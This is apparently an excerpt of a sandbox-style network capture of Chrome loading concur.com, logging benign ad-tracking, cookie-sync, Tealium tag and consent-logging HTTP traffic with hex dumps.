2024-10-03 08:41:38 UTC	14732	IN	Data Raw: 2e 67 65 74 54 79 70 65 50 65 72 6d 69 73 73 69 6f 6e 28 74 68 69 73 2e 66 61 6b 65 2e 63 6f 6e 73 65 6e 74 2e 61 6c 6c 2e 74 79 70 65 2c 6d 2c 74 68 69 73 2e 66 61 6b 65 2c 68 29 3b 6e 26 26 28 72 3d 74 68 69 73 2e 67 65 74 54 79 70 65 50 65 72 6d 69 73 73 69 6f 6e 28 6e 2e 74 79 70 65 2c 6d 2c 74 68 69 73 2e 66 61 6b 65 2c 68 29 7c 7c 72 7c 7c 6e 2e 76 61 6c 75 65 29 3b 6d 3d 28 72 3d 72 7c 7c 74 68 69 73 2e 66 61 6b 65 2e 63 6f 6e 73 65 6e 74 2e 61 6c 6c 2e 76 61 6c 75 65 29 3f 7b 73 6f 75 72 63 65 3a 22 61 73 73 65 72 74 65 64 22 2c 63 6f 6e 73 65 6e 74 3a 72 7d 3a 7b 73 6f 75 72 63 65 3a 74 68 69 73 2e 66 61 6b 65 2e 64 65 66 61 75 6c 74 5f 73 6f 75 72 63 65 2c 63 6f 6e 73 65 6e 74 3a 74 68 69 73 2e 66 61 6b 65 2e 64 65 66 61 75 6c 74 5f 63 6f 6e 73 Data Ascii: .getTypePermission(this.fake.consent.all.type,m,this.fake,h);n&&(r=this.getTypePermission(n.type,m,this.fake,h)\|\|r\|\|n.value);m=(r=r\|\|this.fake.consent.all.value)?{source:"asserted",consent:r}:{source:this.fake.default_source,consent:this.fake.default_cons

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49894	46.137.24.228	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:37 UTC	864	OUT	GET /ibs:dpid=22052&dpuuid=3647441516891209752 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405
2024-10-03 08:41:38 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:38 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: SthWKW/rR6c= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-0d9e0d2d7.edge-irl1.demdex.com 3 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:38 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:38 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:38 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49893	3.127.178.105	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:38 UTC	716	OUT	GET /match?bid=6j5b2cv&uid=77063524538646072271479213259445098681&r=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D30064%26dpuuid%3D%7BUUID_6j5b2cv%7D HTTP/1.1 Host: ps.eyeota.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:38 UTC	818	IN	HTTP/1.1 302 Found Connection: close Set-Cookie: mako_uid=192518ab642-4d730000010f5d03; Domain=eyeota.net; Path=/; Expires=Fri, 03 Oct 2025 08:41:38 GMT; Secure; SameSite=None; Set-Cookie: SERVERID=23811~DM; Domain=eyeota.net; Path=/; Expires=Thu, 03 Oct 2024 08:51:38 GMT; Secure; SameSite=None; P3P: CP="CURa ADMa DEVa TAIo PSAo PSDo OUR SAMo BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR", policyref="http://ps.eyeota.net/w3c/p3p.xml" P3P: CP="CURa ADMa DEVa TAIo PSAo PSDo OUR SAMo BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR", policyref="http://ps.eyeota.net/w3c/p3p.xml" Location: /match/bounce/?bid=6j5b2cv&uid=77063524538646072271479213259445098681&r=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D30064%26dpuuid%3D%7BUUID_6j5b2cv%7D Content-Length: 0 Date: Thu, 03 Oct 2024 08:41:38 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49895	46.137.24.228	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:38 UTC	879	OUT	GET /ibs:dpid=903&dpuuid=74afb848-711b-4442-bde5-d7137629b408 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405
2024-10-03 08:41:38 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:38 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: DEh0dJBKTaY= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-0ad7c16a0.edge-irl1.demdex.com 2 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:38 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:38 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:38 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49899	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:38 UTC	668	OUT	GET /ibs:dpid=771&dpuuid=CAESEKDi-_YTUxbfu6hze52LkwE&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405
2024-10-03 08:41:38 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:38 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: PDjWEfWrQtY= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v065-06db52c8d.edge-irl1.demdex.com 2 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:38 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:38 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:38 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49896	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:38 UTC	572	OUT	GET /utag/concur/concur/prod/utag.210.js?utv=ut4.39.201805151414 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:38 UTC	611	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 2119 Connection: close Last-Modified: Thu, 26 Sep 2024 17:12:47 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 6vCCjkx7Vj.kcur9pE3Olkl35PiBT6ea Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:39 GMT ETag: "92cc50f6c5adb3ffa0ca2aff0e4dd5e3" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 6ee264f4aa2ef518b13a5a8305e8080e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: C0VNb9LETwEXFPqfImYvT1KuDRK2KfuVuoclZVFb5NW740s272IX_Q== Cache-Control: max-age=1296000
2024-10-03 08:41:38 UTC	2119	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 32 31 30 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 69 66 28 74 79 70 65 6f 66 20 75 74 61 67 2e 75 74 2e 6c 6f 61 64 65 72 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 75 74 61 67 2e 75 74 2e 6c 6f 61 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 6f 2c 61 2c 62 2c 63 2c 6c 29 7b 61 3d 64 6f 63 75 6d 65 6e 74 3b 69 66 28 6f 2e 74 79 70 65 3d 3d 3d 22 69 66 72 61 6d 65 22 29 7b 62 3d 61 Data Ascii: //tealium universal tag - utag.210 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.if(utag.ut===undefined){utag.ut={};}if(typeof utag.ut.loader==="undefined"){utag.ut.loader=function(o,a,b,c,l){a=document;if(o.type==="iframe"){b=a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49898	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:38 UTC	572	OUT	GET /utag/concur/concur/prod/utag.303.js?utv=ut4.39.202103101828 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:39 UTC	581	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 608 Connection: close Date: Thu, 03 Oct 2024 08:41:39 GMT Last-Modified: Thu, 26 Sep 2024 17:13:42 GMT ETag: "d279dfc9af6f6d7ba09e858894fb3d20" x-amz-server-side-encryption: AES256 x-amz-version-id: CWaIpHDaNhFbUb0ZqPgu_z3AxBDowf_J Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 78668cba389ee6455cf1c23180f33cf8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: _k62jHZM0HmOC3_dj53avsdMjP4WFfyHmLA-mfVs7yCcMLYN-fkHVg== Cache-Control: max-age=1296000
2024-10-03 08:41:39 UTC	608	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 33 30 33 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 2c 75 29 7b 74 72 79 7b 75 3d 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 7b 7d 7d 63 61 74 63 68 28 65 29 7b 75 3d 75 74 61 67 2e 73 65 6e 64 65 72 5b 69 64 5d 7d 3b 75 2e 65 76 3d 7b 27 76 69 65 77 27 3a 31 7d 3b 75 2e 62 61 73 65 5f 75 72 6c 3d 27 2f 2f 73 63 72 69 70 74 2e 63 72 61 7a 79 65 67 67 2e 63 6f 6d 2f 70 61 67 65 73 2f 73 Data Ascii: //tealium universal tag - utag.303 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader,u){try{u=utag.o[loader].sender[id]={}}catch(e){u=utag.sender[id]};u.ev={'view':1};u.base_url='//script.crazyegg.com/pages/s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49900	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:38 UTC	572	OUT	GET /utag/concur/concur/prod/utag.132.js?utv=ut4.39.202101210002 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:38 UTC	581	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 854 Connection: close Date: Thu, 03 Oct 2024 08:41:39 GMT Last-Modified: Thu, 26 Sep 2024 17:13:00 GMT ETag: "6a0b99b478557408c6281d5612f1257c" x-amz-server-side-encryption: AES256 x-amz-version-id: UgU7Oc4MCJVg8FYcf2MKYiEDXfqJVhWX Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 60dc145c687858f10bb3fe6251ad4ffe.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: tOhJnKlbheQ5kHnvEmZIoHfnO0O_bOkvM9MRkba-_lDVsRoemSw65Q== Cache-Control: max-age=1296000
2024-10-03 08:41:38 UTC	854	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 33 32 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 2c 75 29 7b 74 72 79 7b 75 3d 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 7b 7d 7d 63 61 74 63 68 28 65 29 7b 75 3d 75 74 61 67 2e 73 65 6e 64 65 72 5b 69 64 5d 7d 3b 75 2e 65 76 3d 7b 27 76 69 65 77 27 3a 31 7d 3b 75 2e 71 73 70 5f 64 65 6c 69 6d 3d 22 3b 22 3b 75 2e 6b 76 70 5f 64 65 6c 69 6d 3d 22 3d 22 3b 75 2e 78 73 70 3d 22 31 39 Data Ascii: //tealium universal tag - utag.132 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader,u){try{u=utag.o[loader].sender[id]={}}catch(e){u=utag.sender[id]};u.ev={'view':1};u.qsp_delim=";";u.kvp_delim="=";u.xsp="19

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49904	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:38 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1007.js?utv=ut4.39.202405201524 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:39 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 18947 Connection: close Last-Modified: Thu, 26 Sep 2024 17:13:29 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: LSljILpA61N4NAA87Cw18ibLXNDCowNI Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:39 GMT ETag: "eb50692cfc89becf31539f0422d72711" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 c15415cccc7260d4bd35b1ca2c497c96.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: G0A8MXLRDLKpPFSLdaztV3Ja8elR_X55pIhzSOc7vTGffh1I99r2Tg== Cache-Control: max-age=1296000
2024-10-03 08:41:39 UTC	16384	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 30 30 37 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 2c 6d 64 35 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 75 74 61 67 2e 67 6c 6f 62 61 6c 73 3d 75 74 61 67 2e 67 6c 6f 62 61 6c 73 7c 7c 7b 7d 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 Data Ascii: //tealium universal tag - utag.1007 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id},md5;utag.o[loader].sender[id]=u;utag.globals=utag.globals\|\|{};if(utag.ut===undefined){utag.ut={};}var ma
2024-10-03 08:41:39 UTC	2563	IN	Data Raw: 3b 7d 65 6c 73 65 7b 66 62 71 28 74 72 61 63 6b 69 6e 67 5f 74 79 70 65 2c 5f 65 76 65 6e 74 2c 75 2e 72 65 6d 6f 76 65 5f 65 6d 70 74 79 28 67 29 29 3b 7d 7d 7d 7d 0a 75 74 61 67 2e 44 42 28 22 73 65 6e 64 3a 31 30 30 37 3a 43 41 4c 4c 42 41 43 4b 3a 43 4f 4d 50 4c 45 54 45 22 29 3b 7d 3b 75 2e 63 61 6c 6c 42 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 64 61 74 61 3d 7b 7d 3b 75 2e 69 6e 69 74 69 61 6c 69 7a 65 64 3d 74 72 75 65 3b 77 68 69 6c 65 28 64 61 74 61 3d 75 2e 71 75 65 75 65 2e 73 68 69 66 74 28 29 29 7b 75 2e 64 61 74 61 3d 64 61 74 61 2e 64 61 74 61 3b 75 2e 6c 6f 61 64 65 72 5f 63 62 28 29 3b 7d 7d 3b 69 66 28 75 2e 69 6e 69 74 69 61 6c 69 7a 65 64 29 7b 75 2e 6c 6f 61 64 65 72 5f 63 62 28 29 3b 7d 65 6c 73 65 20 69 66 28 21 75 Data Ascii: ;}else{fbq(tracking_type,_event,u.remove_empty(g));}}}}utag.DB("send:1007:CALLBACK:COMPLETE");};u.callBack=function(){var data={};u.initialized=true;while(data=u.queue.shift()){u.data=data.data;u.loader_cb();}};if(u.initialized){u.loader_cb();}else if(!u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49905	13.224.189.92	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:38 UTC	510	OUT	GET /log?domain=concur.com&country=us&state=ny&behavior=implied&session=35975d78-a390-494d-9ef0-cf4dd61f5a47&userType=NEW&c=29ce&referer=https://www.concur.com&language=en HTTP/1.1 Host: consent.trustarc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:38 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 03 Oct 2024 08:41:37 GMT Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT X-Cache: Hit from cloudfront Via: 1.1 eab88762658052b4a1e386f8521a38ce.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA2-C1 X-Amz-Cf-Id: t_f3pN8MRsTnipB96X8eZp8wvKejXClmZ8gt2pXdkSqnoeSn9Utj8Q== Age: 1 Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Origin
2024-10-03 08:41:38 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49907	107.178.240.89	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:38 UTC	670	OUT	GET /engine?site=141472;size=1x1;mimetype=img;du=67;csync=77063524538646072271479213259445098681 HTTP/1.1 Host: fei.pro-market.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:38 UTC	583	IN	HTTP/1.1 302 Found Server: Apache-Coyote/1.1 P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" ANServer: gapp3.c.datonics-gcp-01.internal Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 1 Jan 1990 0:0:0 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Location: https://dpm.demdex.net/ibs:dpid=575&dpuuid=9033076558488683385 Content-Type: image/gif Content-Length: 0 Date: Thu, 03 Oct 2024 08:41:38 GMT Via: 1.1 google Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49909	3.127.178.105	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
